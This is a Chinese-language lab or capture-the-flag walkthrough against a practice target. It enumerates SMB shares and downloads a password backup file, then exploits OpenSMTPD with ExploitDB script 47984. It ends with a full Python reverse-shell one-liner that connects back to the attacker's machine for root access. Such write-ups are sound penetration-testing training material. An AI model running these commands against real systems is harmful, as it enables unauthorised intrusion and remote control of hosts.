首先先來看看這個靶機開了什麼服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.146.71 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.146.71 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.146.71 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.146.71 -type recon;
因為 port 445 是開啟的,這邊我們利用 enum4linux 去看看 SMB上面有什麼分享目錄
我們發現有一個叫做 backups 看起來蠻有趣的
enum4linux $tIP
backups 目錄下面有一個叫做 passwd.bak 的檔案,這看起來應該是 Linux 的 password 備份檔
先把它下載下來看看
smbclient \\\\$tIP\\backups
kali
get passwd.bak
cat passwd.bak
這邊雖然有一些使用者的名稱可以讓我們做 ssh 爆破,但試過後發現這條路是死路,所以就先這樣吧!
接著回去看看 nmap 掃描出來的東西,這裡面我們發現 Port 25 上有一個叫做 OpenSMTPD 的服務
ExploitDB裡面可以找到相關資訊,這邊我們會使用 47984 這一支 python 檔案
searchsploit OpenSMTPD
searchsploit -m 47984
這邊我們先試一下這個 code 是不是能夠順利作業
# on Kali
sudo tcpdump -i tun0 -e icmp -nv
# on target machine
python3 47984.py $tIP 25 'ping 192.168.45.191'
這個 code 看起來是可以順利執行的,也可以連到我們的靶機,只是他無法使用 bash 連回來
我們這邊改用 python3 去產生一個 reverse shell 的程式碼
在設定監聽後,很順利的拿到了這個 reverse shell 而且還是 root 的權限
拿到 flag 以後就可以收工了!
python3 47984.py $tIP 25 'python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.45.191\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'